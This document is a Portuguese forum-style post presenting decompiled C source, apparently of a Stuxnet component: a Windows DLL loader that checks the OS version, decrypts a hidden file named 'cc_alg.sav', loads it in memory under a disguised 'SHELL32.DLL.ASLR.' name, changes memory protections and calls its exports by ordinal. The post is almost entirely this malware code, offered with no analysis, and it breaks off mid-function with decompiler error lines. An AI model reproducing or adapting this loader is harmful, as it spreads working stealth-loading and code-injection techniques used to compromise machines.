CODIGO DO VIRUS CONHECIDO STUXNET

Postado Dia Por --> [Administrador]
SOURCE CODE

#include <defs.h>


//-------------------------------------------------------------------------
// Data declarations

extern int dword_10001CD0[8]; // weak
extern char *off_10001CF2; // weak
extern char byte_10001CF9[3]; // weak
extern char byte_10001DC7; // weak
extern int dword_1000215A; // weak
extern int dword_10002162; // weak
extern int dword_10002166; // weak
extern int dword_1000216A; // weak
extern int dword_1000216E; // weak
extern int dword_10002172; // weak
extern int (__stdcall *dword_10002176)(_DWORD); // weak
extern int dword_1000217A; // weak
extern int dword_1000217E; // weak
extern int dword_10002182; // weak
extern int (__stdcall *dword_10002186)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak
extern int (__stdcall *dword_1000218A)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak
extern int dword_1000218E; // weak
extern int dword_10002192; // weak
extern int dword_10002196; // weak
extern int (__stdcall *dword_1000219A)(_DWORD); // weak
extern _UNKNOWN unk_1000306C; // weak
extern _UNKNOWN unk_1000309C; // weak
extern _UNKNOWN unk_100030B0; // weak
extern _UNKNOWN unk_100030CC; // weak
extern _UNKNOWN unk_100030EC; // weak
extern _UNKNOWN unk_1000310C; // weak
extern _UNKNOWN unk_10003128; // weak
extern _UNKNOWN unk_10003148; // weak
extern _UNKNOWN unk_10003174; // weak
extern _UNKNOWN unk_10003190; // weak
extern _UNKNOWN unk_100031A8; // weak
extern _UNKNOWN unk_100031C8; // weak
extern _UNKNOWN unk_100031F0; // weak
extern _UNKNOWN unk_1000320C; // weak
extern _UNKNOWN unk_10003234; // weak
extern _UNKNOWN unk_10003258; // weak
extern _UNKNOWN unk_100032B4; // weak
extern _UNKNOWN unk_100032D0; // weak
extern const WCHAR String[]; // idb
extern wchar_t aShell32_dll_as[18]; // weak
extern const WCHAR aS08x[]; // idb
extern int dword_10004000; // weak
extern int dword_10004010; // weak
extern _DWORD dword_10004014; // idb
extern _UNKNOWN unk_10004018; // weak

//-------------------------------------------------------------------------
// Function declarations

#define __thiscall __cdecl // Test compile in C mode

BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
int __stdcall StartAddress(LPCWSTR lpFileName);
int __cdecl sub_100010B4(int, LPCWSTR lpFileName); // idb
// int __usercall sub_1000112F<eax>(int a1<ecx>, unsigned int a2<edi>);
bool __cdecl sub_1000118D();
// signed int __usercall sub_100011D5<eax>(const WCHAR *a1<eax>, WCHAR *a2);
int __cdecl sub_10001241(HMODULE hModule); // idb
// signed int __usercall sub_100012B9<eax>(unsigned int a1<esi>);
bool __cdecl sub_100012FA(LPCWSTR lpFileName, int a2);
int __cdecl 2(LPCWSTR lpString2); // idb
// signed int __usercall sub_100013F2<eax>(DWORD *a1<edi>, LPCWSTR lpFileName, LPVOID *a3);
signed int __thiscall sub_100014AB(DWORD this);
signed int __cdecl sub_100015E6(int a1, int a2, int a3, int a4, int a5);
int __cdecl sub_10001696(void **a1, int a2, int a3, int a4, const void *a5, unsigned int a6);
int __cdecl sub_100016E4(int, LPCWSTR lpString2); // idb
int __cdecl sub_10001799(int a1, const void *a2, const void *a3, unsigned int a4, int a5, const void *a6, unsigned int a7, int a8);
signed int __cdecl sub_100018E5(int a1, int a2, const void *a3);
unsigned int __cdecl sub_100019FE();
signed int (__cdecl *__cdecl sub_10001A0D())(int);
unsigned int __cdecl sub_10001A17();
unsigned int __cdecl sub_10001A26();
int __cdecl sub_10001A35(int a1, int a2, int a3, int a4);
int __cdecl sub_10001BA9(LPCWSTR lpString2, const void *a2, unsigned int a3, int a4);
void __fastcall sub_10001FEF(int a1, int a2);
void __cdecl sub_10002031();
// int __usercall sub_10002084<eax>(int a1<eax>, int a2<edx>, int a3<ecx>);
int __cdecl sub_1000219E(int a1, int a2);
__int16 __cdecl sub_100021C1(int a1, int a2);
HMODULE __cdecl sub_100021FE();
FARPROC __cdecl sub_10002229(int a1, int a2);
void __cdecl sub_1000226A(void *a1, const void *a2, unsigned int a3);
FARPROC __cdecl sub_1000227E(int a1);
FARPROC __cdecl sub_1000228F(int a1);
signed int __cdecl sub_100022A0(int a1);
int __stdcall sub_1000243E(int a1);
int __cdecl sub_100024B1(int a1, int a2, int a3);
signed int __stdcall sub_10002574(int a1);
void __cdecl sub_100026D3(void *a1, const void *a2, unsigned int a3);
int __cdecl sub_100026E7(const void *a1, int a2, void *a3);
signed int __cdecl sub_10002769(int a1, int a2);
signed int __cdecl sub_10002807(int a1, int a2, const void *a3, int a4);
void __cdecl sub_100028E8();
// DWORD __stdcall GetFileSize(HANDLE hFile, LPDWORD lpFileSizeHigh);
// UINT __stdcall SetErrorMode(UINT uMode);
// BOOL __stdcall FreeLibrary(HMODULE hLibModule);
// LPVOID __stdcall HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
// DWORD __stdcall GetTickCount();
// BOOL __stdcall VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
// HANDLE __stdcall GetProcessHeap();
// BOOL __stdcall GetVersionExW(LPOSVERSIONINFOW lpVersionInformation);
// LPWSTR __stdcall lstrcpynW(LPWSTR lpString1, LPCWSTR lpString2, int iMaxLength);
// BOOL __stdcall ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
// DWORD __stdcall GetModuleFileNameW(HMODULE hModule, LPWCH lpFilename, DWORD nSize);
// HANDLE __stdcall CreateFileW(LPCWSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
// int __stdcall lstrlenW(LPCWSTR lpString);
// FARPROC __stdcall GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
// LPVOID __stdcall VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
// BOOL __stdcall DisableThreadLibraryCalls(HMODULE hLibModule);
// BOOL __stdcall CloseHandle(HANDLE hObject);
// BOOL __stdcall DeleteFileW(LPCWSTR lpFileName);
// LPWSTR __stdcall lstrcpyW(LPWSTR lpString1, LPCWSTR lpString2);
// HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
// DWORD __stdcall GetCurrentThreadId();
// HMODULE __stdcall GetModuleHandleW(LPCWSTR lpModuleName);
// BOOL __stdcall VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
// HANDLE __stdcall GetCurrentProcess();
// int wsprintfW(LPWSTR, LPCWSTR, ...);


//----- (10001001) --------------------------------------------------------
BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
  BOOL result; // eax@4

  if ( fdwReason && fdwReason == 1 && (DisableThreadLibraryCalls(hinstDLL), sub_1000118D()) )
    result = sub_10001241(hinstDLL);
  else
    result = 0;
  return result;
}

//----- (10001031) --------------------------------------------------------
int __stdcall StartAddress(LPCWSTR lpFileName)
{
  int v1; // eax@2
  UINT v2; // edi@5
  int v4; // [sp-4h] [bp-418h]@4
  int v5; // [sp+4h] [bp-410h]@4
  WCHAR FileName; // [sp+20Ch] [bp-208h]@4

  if ( lpFileName )
  {
    v1 = lstrlenW(lpFileName) + 1;
    if ( v1 > 260 )
      v1 = 260;
    lstrcpynW(&FileName, lpFileName, v1);
    if ( sub_100011D5(&FileName, (WCHAR *)&v5) )
    {
      v2 = ((int (__thiscall *)(int, signed int))SetErrorMode)(v4, 32775);
      sub_100010B4((int)&v5, &FileName);
      SetErrorMode(v2);
      DeleteFileW(lpFileName);
    }
  }
  return 0;
}

//----- (100010B4) --------------------------------------------------------
signed int __cdecl sub_100010B4(int a1, LPCWSTR lpFileName)
{
  signed int result; // eax@1
  int v3; // ebx@1
  int v4; // edi@2
  const void *v5; // ecx@2
  FARPROC v6; // eax@3
  int v7; // [sp+8h] [bp-Ch]@1
  HMODULE hLibModule; // [sp+Ch] [bp-8h]@2
  LPVOID lpAddress; // [sp+10h] [bp-4h]@1

  lpAddress = 0;
  v3 = 0;
  result = sub_100013F2((DWORD *)&v7, lpFileName, &lpAddress);
  if ( result )
  {
    v4 = v7;
    sub_1000112F((int)lpAddress, v7);
    if ( !sub_10001BA9(0, v5, v4, (int)&hLibModule) )
    {
      v6 = GetProcAddress(hLibModule, (LPCSTR)0x1F);
      if ( v6 )
        v3 = ((int (__cdecl *)(int, signed int))v6)(a1, 2);
      FreeLibrary(hLibModule);
    }
    VirtualFree(lpAddress, 0, 0x8000u);
    result = v3;
  }
  return result;
}

//----- (1000112F) --------------------------------------------------------
int __usercall sub_1000112F<eax>(int a1<ecx>, unsigned int a2<edi>)
{
  unsigned int v2; // edx@2
  unsigned int v3; // eax@4
  int result; // eax@6
  signed int v6; // [sp+8h] [bp-8h]@1
  unsigned int v7; // [sp+Ch] [bp-4h]@1

  v7 = a2 >> 1;
  v6 = 4;
  do
  {
    v2 = 0;
    if ( a2 )
    {
      do
      {
        *(_BYTE *)(v2 + a1) ^= -106 * (_BYTE)v2;
        ++v2;
      }
      while ( v2 < a2 );
    }
    v3 = 0;
    if ( v7 )
    {
      do
      {
        *(_BYTE *)(v3 + a1) ^= *(_BYTE *)(((a2 + 1) >> 1) + a1 + v3);
        ++v3;
      }
      while ( v3 < v7 );
    }
    for ( result = a2 - 1; (unsigned int)result >= 1; --result )
      *(_BYTE *)(result + a1) -= *(_BYTE *)(result + a1 - 1);
  }
  while ( v6-- - 1 >= 0 );
  return result;
}

//----- (1000118D) --------------------------------------------------------
bool __cdecl sub_1000118D()
{
  struct _OSVERSIONINFOW VersionInformation; // [sp+0h] [bp-114h]@1

  VersionInformation.dwOSVersionInfoSize = 276;
  return GetVersionExW(&VersionInformation)
      && VersionInformation.dwPlatformId == 2
      && (VersionInformation.dwMajorVersion >= 5 || VersionInformation.dwMajorVersion <= 6);
}

//----- (100011D5) --------------------------------------------------------
signed int __usercall sub_100011D5<eax>(const WCHAR *a1<eax>, WCHAR *a2)
{
  signed int v2; // eax@1
  const WCHAR *v3; // ebx@1
  int v4; // edi@1
  signed int result; // eax@7
  WCHAR *v6; // edi@8
  int v7; // esi@8

  v3 = a1;
  v4 = (int)&a1[lstrlenW(a1) - 1];
  v2 = 2;
  if ( v4 <= (unsigned int)v3 )
    goto LABEL_12;
  do
  {
    if ( v2 <= 0 )
      break;
    if ( *(_WORD *)v4 == 92 )
      --v2;
    v4 -= 2;
  }
  while ( v4 > (unsigned int)v3 );
  if ( v4 <= (unsigned int)v3
    || (v6 = (WCHAR *)(v4 + 4),
        v7 = (signed int)((char *)v6 - (char *)v3) >> 1,
        lstrcpynW(a2, v3, v7 + 1),
        v7 + lstrlenW(L"GracS\\cc_alg.sav") >= 260) )
  {
LABEL_12:
    result = 0;
  }
  else
  {
    lstrcpyW(v6, L"GracS\\cc_alg.sav");
    result = 1;
  }
  return result;
}

//----- (10001241) --------------------------------------------------------
int __cdecl sub_10001241(HMODULE hModule)
{
  FARPROC v2; // eax@6
  WCHAR FileName; // [sp+0h] [bp-20Ch]@1
  HMODULE hLibModule; // [sp+208h] [bp-4h]@5

  if ( !GetModuleFileNameW(hModule, &FileName, 0x104u) )
    return 0;
  if ( sub_100012B9((unsigned int)&FileName) )
    return 1;
  if ( !sub_100012FA(&FileName, (int)&hLibModule) )
    return 0;
  v2 = GetProcAddress(hLibModule, (LPCSTR)2);
  if ( !v2 )
  {
    FreeLibrary(hLibModule);
    return 0;
  }
  return ((int (__cdecl *)(WCHAR *))v2)(&FileName);
}

//----- (100012B9) --------------------------------------------------------
signed int __usercall sub_100012B9<eax>(unsigned int a1<esi>)
{
  int i; // eax@1
  signed __int16 *v2; // edi@1
  LPCWSTR v3; // ST00_4@1
  int v4; // eax@5
  signed __int16 v5; // cx@5

  v2 = (signed __int16 *)L"SHELL32.DLL.ASLR.";
  for ( i = a1 + 2 * lstrlenW(v3) - 2; i >= a1 && *(_WORD *)i != 92; i -= 2 )
    ;
  v4 = i + 2;
  v5 = 83;
  while ( v5 == *(_WORD *)v4 )
  {
    ++v2;
    v5 = *v2;
    v4 += 2;
    if ( !*v2 )
      return 1;
  }
  return 0;
}
// 10003308: using guessed type wchar_t aShell32_dll_as[18];

//----- (100012FA) --------------------------------------------------------
bool __cdecl sub_100012FA(LPCWSTR lpFileName, int a2)
{
  UINT v2; // ebx@1
  signed int v3; // edi@1
  bool result; // eax@2
  int v5; // esi@3
  DWORD v6; // edi@3
  DWORD v7; // eax@3
  WCHAR String2; // [sp+Ch] [bp-210h]@3
  int v9; // [sp+214h] [bp-8h]@1
  LPVOID lpAddress; // [sp+218h] [bp-4h]@1

  v2 = SetErrorMode(32775u);
  v3 = sub_100013F2((DWORD *)&v9, lpFileName, &lpAddress);
  SetErrorMode(v2);
  if ( v3 )
  {
    v6 = GetTickCount() / 7;
    v7 = GetTickCount();
    wsprintfW(&String2, L"%s%08x", L"SHELL32.DLL.ASLR.", v6 + 7 * v7);
    v5 = sub_10001BA9(&String2, lpAddress, v9, a2);
    if ( lpAddress )
      VirtualFree(lpAddress, 0, 0x8000u);
    result = v5 == 0;
  }
  else
  {
    result = 0;
  }
  return result;
}
// 10003308: using guessed type wchar_t aShell32_dll_as[18];

//----- (1000139F) --------------------------------------------------------
int __cdecl 2(LPCWSTR lpString2)
{
  WCHAR *v1; // eax@1
  void *v2; // esi@1
  SIZE_T v3; // ST14_4@1
  HANDLE v4; // eax@1
  HANDLE v5; // eax@2

  v3 = 2 * lstrlenW(lpString2) + 2;
  v4 = GetProcessHeap();
  v1 = (WCHAR *)HeapAlloc(v4, 8u, v3);
  v2 = v1;
  if ( v1 )
  {
    lstrcpyW(v1, lpString2);
    v5 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, v2, 0, 0);
    if ( v5 )
      CloseHandle(v5);
  }
  return 0;
}

//----- (100013F2) --------------------------------------------------------
signed int __usercall sub_100013F2<eax>(DWORD *a1<edi>, LPCWSTR lpFileName, LPVOID *a3)
{
  HANDLE v3; // eax@1
  void *v4; // ebx@1
  void *v5; // eax@2
  DWORD v6; // eax@2
  DWORD NumberOfBytesRead; // [sp+8h] [bp-4h]@4

  v3 = CreateFileW(lpFileName, 0x80000000u, 1u, 0, 3u, 0, 0);
  v4 = v3;
  if ( v3 != (HANDLE)-1 )
  {
    v6 = GetFileSize(v3, 0);
    *a1 = v6;
    v5 = VirtualAlloc(0, v6, 0x3000u, 4u);
    *a3 = v5;
    if ( v5 )
    {
      if ( ReadFile(v4, v5, *a1, &NumberOfBytesRead, 0) && NumberOfBytesRead == *a1 )
      {
        CloseHandle(v4);
        return 1;
      }
      VirtualFree(*a3, 0, 0x8000u);
    }
    else
    {
      CloseHandle(v4);
    }
  }
  return 0;
}

//----- (100014AB) --------------------------------------------------------
signed int __thiscall sub_100014AB(DWORD this)
{
  signed int result; // eax@3
  DWORD flOldProtect; // [sp+0h] [bp-4h]@1

  flOldProtect = this;
  if ( VirtualProtect(&dword_1000215A, 0x44u, 0x80u, &flOldProtect)
    || VirtualProtect(&dword_1000215A, 0x44u, 0x40u, &flOldProtect) )
  {
    dword_1000215A = (int)sub_100021FE();
    dword_10002162 = (int)sub_1000227E((int)&unk_1000309C);
    dword_10002166 = (int)sub_1000227E((int)&unk_100030B0);
    dword_1000216A = (int)sub_1000227E((int)&unk_100030CC);
    dword_1000216E = (int)sub_1000227E((int)&unk_100030EC);
    dword_10002172 = (int)sub_1000227E((int)&unk_1000310C);
    dword_10002176 = (int (__stdcall *)(_DWORD))sub_1000227E((int)&unk_10003128);
    dword_1000217A = (int)sub_1000227E((int)&unk_10003148);
    dword_1000217E = (int)sub_1000227E((int)&unk_10003174);
    dword_10002182 = (int)sub_1000227E((int)&unk_10003190);
    dword_10002186 = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))sub_1000228F((int)&unk_100031A8);
    dword_1000218A = (int (__stdcall *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))sub_1000228F((int)&unk_100031C8);
    dword_1000218E = (int)sub_1000227E((int)&unk_100031F0);
    dword_10002192 = (int)sub_1000227E((int)&unk_1000320C);
    dword_10002196 = (int)sub_1000227E((int)&unk_10003234);
    dword_1000219A = (int (__stdcall *)(_DWORD))sub_1000228F((int)&unk_10003258);
    result = 1;
  }
  else
  {
    result = 0;
  }
  return result;
}
// 1000215A: using guessed type int dword_1000215A;
// 10002162: using guessed type int dword_10002162;
// 10002166: using guessed type int dword_10002166;
// 1000216A: using guessed type int dword_1000216A;
// 1000216E: using guessed type int dword_1000216E;
// 10002172: using guessed type int dword_10002172;
// 10002176: using guessed type int (__stdcall *dword_10002176)(_DWORD);
// 1000217A: using guessed type int dword_1000217A;
// 1000217E: using guessed type int dword_1000217E;
// 10002182: using guessed type int dword_10002182;
// 10002186: using guessed type int (__stdcall *dword_10002186)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
// 1000218A: using guessed type int (__stdcall *dword_1000218A)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
// 1000218E: using guessed type int dword_1000218E;
// 10002192: using guessed type int dword_10002192;
// 10002196: using guessed type int dword_10002196;
// 1000219A: using guessed type int (__stdcall *dword_1000219A)(_DWORD);

//----- (100015E6) --------------------------------------------------------
signed int __cdecl sub_100015E6(int a1, int a2, int a3, int a4, int a5)
{
  signed int result; // eax@2
  HANDLE v6; // eax@3
  int v7; // [sp+0h] [bp-10h]@1
  int v8; // [sp+4h] [bp-Ch]@3
  int v9; // [sp+8h] [bp-8h]@1
  int v10; // [sp+Ch] [bp-4h]@1

  v7 = a2;
  v9 = a2;
  v10 = 0;
  if ( dword_10002186(a3, 983071, 0, &v9, 64, 134217728, 0) )
  {
    result = -5;
  }
  else
  {
    v6 = GetCurrentProcess();
    v8 = dword_1000218A(*(_DWORD *)a3, v6, a4, 0, 0, 0, &v7, 1, 0, 64);
    if ( v8 )
    {
      result = -5;
    }
    else
    {
      v8 = dword_1000218A(*(_DWORD *)a3, a1, a5, 0, 0, 0, &v7, 1, 0, 64);
      if ( v8 )
        result = -5;
      else
        result = 0;
    }
  }
  return result;
}
// 10002186: using guessed type int (__stdcall *dword_10002186)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);
// 1000218A: using guessed type int (__stdcall *dword_1000218A)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD);

//----- (10001696) --------------------------------------------------------
int __cdecl sub_10001696(void **a1, int a2, int a3, int a4, const void *a5, unsigned int a6)
{
  int result; // eax@3

  if ( a6 )
    sub_1000226A(*a1, a5, a6);
  *(_DWORD *)a4 = *(_DWORD *)a3 + a2;
  *(_DWORD *)(a4 + 4) = a6;
  *a1 = (char *)*a1 + a6;
  result = a6 + *(_DWORD *)a3;
  *(_DWORD *)a3 = result;
  return result;
}

//----- (100016E4) --------------------------------------------------------
signed int __cdecl sub_100016E4(int a1, LPCWSTR lpString2)
{
  DWORD v3; // esi@5
  const WCHAR v4; // [sp+8h] [bp-58h]@5
  DWORD v5; // [sp+5Ch] [bp-4h]@5

  if ( lpString2 )
  {
    if ( lstrlenW(lpString2) >= 31 )
      return -1;
    lstrcpyW((LPWSTR)(a1 + 16), lpString2);
  }
  else
  {
    v3 = GetTickCount();
    v5 = 3 * GetCurrentThreadId() + v3;
    sub_100021C1((int)&unk_1000306C, (int)&v4);
    do
      wsprintfW((LPWSTR)(a1 + 16), &v4, v5++);
    while ( GetModuleHandleW((LPCWSTR)(a1 + 16)) );
  }
  *(_DWORD *)a1 = a1 ^ 0xAE1979DD;
  *(_DWORD *)(a1 + 4) = 0;
  *(_DWORD *)(a1 + 12) = sub_10002574;
  return 0;
}

//----- (10001799) --------------------------------------------------------
int __cdecl sub_10001799(int a1, const void *a2, const void *a3, unsigned int a4, int a5, const void *a6, unsigned int a7, int a8)
{
  int result; // eax@2
  int v9; // [sp+4h] [bp-28h]@1
  int v10; // [sp+8h] [bp-24h]@3
  int v11; // [sp+Ch] [bp-20h]@6
  int v12; // [sp+10h] [bp-1Ch]@1
  int v13; // [sp+14h] [bp-18h]@1
  int v14; // [sp+18h] [bp-14h]@3
  unsigned int v15; // [sp+1Ch] [bp-10h]@1
  int v16; // [sp+20h] [bp-Ch]@1
  int v17; // [sp+24h] [bp-8h]@3
  int v18; // [sp+28h] [bp-4h]@1

  v13 = 0;
  v16 = 0;
  v12 = 0;
  v15 = a4 + a7 + 152;
  v18 = sub_100015E6(a1, a4 + a7 + 152, (int)&v9, (int)&v13, (int)&v16);
  if ( v18 )
  {
    result = v18;
  }
  else
  {
    v17 = v13;
    v13 += 152;
    v12 = 152;
    sub_10001696((void **)&v13, v16, (int)&v12, v17 + 132, a6, a7);
    v10 = v13;
    sub_10001696((void **)&v13, v16, (int)&v12, v17 + 140, a3, a4);
    v14 = v10;
    if ( a4 >= 0x1000 )
    {
      if ( *(_WORD *)v14 == 23117 )
      {
        if ( *(_DWORD *)(v14 + 60) + 248 < a4 )
        {
          v11 = *(_DWORD *)(v14 + 60) + v10;
          if ( *(_DWORD *)(v11 + 204) == 72 )
            *(_DWORD *)(v11 + 204) = 64;
        }
      }
    }
    sub_1000226A((void *)v17, a2, 0x80u);
    *(_DWORD *)(v17 + 148) = a5;
    *(_DWORD *)(v17 + 128) = 0;
    *(_DWORD *)a8 = v16;
    dword_10002176(v17);
    dword_1000219A(v9);
    result = 0;
  }
  return result;
}
// 10002176: invalid function type has been ignored
// 1000219A: invalid function type has been ignored
// 10002176: using guessed type int (__stdcall *dword_10002176)(_DWORD);
// 1000219A: using guessed type int (__stdcall *dword_1000219A)(_DWORD);

//----- (100018E5) --------------------------------------------------------
signed int __cdecl sub_100018E5(int a1, int a2, const void *a3)
{
  signed int result; // eax@2
  int v4; // [sp+0h] [bp-90h]@5
  int v5; // [sp+4h] [bp-8Ch]@7
  signed int v6; // [sp+8h] [bp-88h]@1
  int v7; // [sp+Ch] [bp-84h]@1
  unsigned int v8; // [sp+10h] [bp-80h]@1
  int v9; // [sp+14h] [bp-7Ch]@1
  int v10; // [sp+18h] [bp-78h]@7
  char v11; // [sp+20h] [bp-70h]@5

  sub_1000226A(&v8, a3, 0x80u);
  v8 = (unsigned int)&v8 ^ 0xAE1979DD;
  v9 = 0;
  v7 = (char *)&dword_1000215A + *(_DWORD *)(a1 + 8) - byte_10001CF9;
  v6 = sub_10002807(
         (char *)&dword_1000215A + *(_DWORD *)(a1 + 8) - byte_10001CF9,
         (int)&v8,
         *(const void **)(a2 + 140),
         *(_DWORD *)(a2 + 144));
  if ( v6 )
  {
    result = v6;
  }
  else
  {
    if ( sub_10002769(a1, v7) )
    {
      result = -4;
    }
    else
    {
      v4 = (*(int (__stdcall **)(char *))(v7 + 36))(&v11);
      if ( v4 )
      {
        *(_DWORD *)(a2 + 128) = v4;
        v5 = v10;
        if ( v10 )
        {
          v10 = 0;
          (*(void (__stdcall **)(int))(v7 + 64))(v5);
        }
        result = 0;
      }
      else
      {
        result = -9;
      }
    }
  }
  return result;
}
// 1000215A: using guessed type int dword_1000215A;

//----- (100019FE) --------------------------------------------------------
unsigned int __cdecl sub_100019FE()
{
  return (char *)sub_100028E8 - (char *)(void (__cdecl *)())sub_100022A0;
}

//----- (10001A0D) --------------------------------------------------------
signed int (__cdecl *__cdecl sub_10001A0D())(int)
{
  return sub_100022A0;
}

//----- (10001A17) --------------------------------------------------------
unsigned int __cdecl sub_10001A17()
{
  return (char *)sub_1000243E - (char *)(int (__stdcall *)(int))sub_100022A0;
}

//----- (10001A26) --------------------------------------------------------
unsigned int __cdecl sub_10001A26()
{
  return (char *)sub_10002574 - (char *)(signed int (__stdcall *)(int))sub_100022A0;
}

//----- (10001A35) --------------------------------------------------------
int __cdecl sub_10001A35(int a1, int a2, int a3, int a4)
{
  int result; // eax@2
  unsigned int v5; // ST14_4@3
  signed int (__cdecl *v6)(int); // eax@3
  int v7; // [sp+8h] [bp-28h]@1
  int v8; // [sp+Ch] [bp-24h]@3
  unsigned int v9; // [sp+10h] [bp-20h]@3
  int v10; // [sp+14h] [bp-1Ch]@1
  int v11; // [sp+18h] [bp-18h]@1
  unsigned int v12; // [sp+1Ch] [bp-14h]@1
  int v13; // [sp+20h] [bp-10h]@1
  int v14; // [sp+24h] [bp-Ch]@3
  unsigned int v15; // [sp+28h] [bp-8h]@1
  int v16; // [sp+2Ch] [bp-4h]@1

  v11 = 0;
  v13 = 0;
  v15 = sub_100019FE();
  v12 = v15
      + (char *)sub_1000219E
      - (char *)(int (__cdecl *)(int, int))byte_10001CF9
      + byte_10001CF9
      - (char *)dword_10001CD0
      + 36;
  v10 = 0;
  v16 = sub_100015E6(
          a1,
          v15
        + (char *)sub_1000219E
        - (char *)(int (__cdecl *)(int, int))byte_10001CF9
        + byte_10001CF9
        - (char *)dword_10001CD0
        + 36,
          (int)&v7,
          (int)&v11,
          (int)&v13);
  if ( v16 )
  {
    result = v16;
  }
  else
  {
    v14 = v11;
    v11 += 36;
    v10 = 36;
    sub_10001696(
      (void **)&v11,
      v13,
      (int)&v10,
      v14 + 8,
      byte_10001CF9,
      (char *)sub_1000219E - (char *)(int (__cdecl *)(int, int))byte_10001CF9);
    v8 = v10;
    sub_10001696((void **)&v11, v13, (int)&v10, v14 + 24, dword_10001CD0, byte_10001CF9 - (char *)dword_10001CD0);
    v5 = v15;
    v6 = sub_10001A0D();
    sub_10001696((void **)&v11, v13, (int)&v10, v14 + 16, v6, v5);
    v9 = (char *)&off_10001CF2 - (char *)dword_10001CD0 + v8 + v14;
    *(_DWORD *)((char *)&off_10001CF2 - (char *)dword_10001CD0 + v8 + v14) = *(_DWORD *)(v14 + 8)
                                                                           + &byte_10001DC7
                                                                           - byte_10001CF9;
    *(_DWORD *)v14 = *(_DWORD *)(v14 + 16) + sub_10001A17();
    *(_DWORD *)(v14 + 4) = *(_DWORD *)(v14 + 16) + sub_10001A26();
    *(_DWORD *)(v14 + 32) = a2;
    *(_DWORD *)a3 = *(_DWORD *)(v14 + 16);
    *(_DWORD *)a4 = v13;
    dword_10002176(v14);
    dword_1000219A(v7);
    result = 0;
  }
  return result;
}
// 10001CD0: using guessed type int dword_10001CD0[8];
// 10001CF2: using guessed type char *off_10001CF2;
// 10001DC7: using guessed type char byte_10001DC7;
// 10002176: using guessed type int (__stdcall *dword_10002176)(_DWORD);
// 1000219A: using guessed type int (__stdcall *dword_1000219A)(_DWORD);

//----- (10001BA9) --------------------------------------------------------
int __cdecl sub_10001BA9(LPCWSTR lpString2, const void *a2, unsigned int a3, int a4)
{
  int result; // eax@1
  int v5; // eax@6
  int v6; // ST14_4@9
  int v7; // eax@9
  DWORD v8; // [sp-4h] [bp-88h]@1
  int v9; // [sp+0h] [bp-84h]@6
  int v10; // [sp+0h] [bp-84h]@9
  signed int v11; // [sp+0h] [bp-84h]@12
  int v12; // [sp+4h] [bp-80h]@1

  result = sub_100016E4((int)&v12, lpString2);
  if ( !result )
  {
    if ( dword_10004000 && !sub_100014AB(v8) )
      return -12;
    v5 = (int)GetCurrentProcess();
    v9 = sub_10001799(v5, &v12, a2, a3, -1, 0, 0, (int)&dword_10004014);
    if ( v9 )
      return v9;
    if ( dword_10004000 )
    {
      v6 = dword_10004014;
      v7 = (int)GetCurrentProcess();
      v10 = sub_10001A35(v7, v6, (int)&unk_10004018, (int)&dword_10004010);
      if ( v10 )
        return v10;
      dword_10004000 = 0;
    }
    v11 = sub_100018E5(dword_10004010, dword_10004014, &v12);
    if ( !v11 )
      *(_DWORD *)a4 = *(_DWORD *)(dword_10004014 + 128);
    dword_10002176(dword_10004014);
    result = v11;
  }
  return result;
}
// 10002176: using guessed type int (__stdcall *dword_10002176)(_DWORD);
// 10004000: using guessed type int dword_10004000;
// 10004010: using guessed type int dword_10004010;

//----- (10001CF6) --------------------------------------------------------
#error "FFFFFFFF: positive sp value has been found (funcsize=0)"

//----- (10001DB8) --------------------------------------------------------
#error "FFFFFFFF: positive sp value has been found (funcsize=0)"

//----- (10001FEF) --------------------------------------------------------
void __fastcall sub_10001FEF(int a1, int a2)
{
  unsigned int v2; // esi@1
  int v3; // edx@1
  int v4; // eax@3
  int *v5; // [sp+4h] [bp-38h]@1
  signed int v6; // [sp+8h] [bp-34h]@1
  int v7; // [sp+Ch] [bp-30h]@1
  int v8; // [sp+18h] [bp-24h]@2
  int v9; // [sp+28h] [bp-14h]@1
  int v10; // [sp+2Ch] [bp-10h]@1
  char v11; // [sp+30h] [bp-Ch]@1

  v10 = a1;
  v9 = a2;
  v6 = 28;
  v5 = &v7;
  sub_10002031();
  (*(void (__stdcall **)(int **, int *, signed int))(v3 + 12))(&v5, v5, v6);
  v2 = (unsigned int)&v11;
  do
  {
    if ( v2 >= v8 + v7 )
      break;
    v4 = *(_DWORD *)v2;
    v2 += 4;
  }
  while ( (v4 ^ 0xAE1979DD) + 4 != v2 );
}

//----- (10002031) --------------------------------------------------------
void __cdecl sub_10002031()
{
  ;
}

//----- (10002084) --------------------------------------------------------
int __usercall sub_10002084<eax>(int a1<eax>, int a2<edx>, int a3<ecx>)
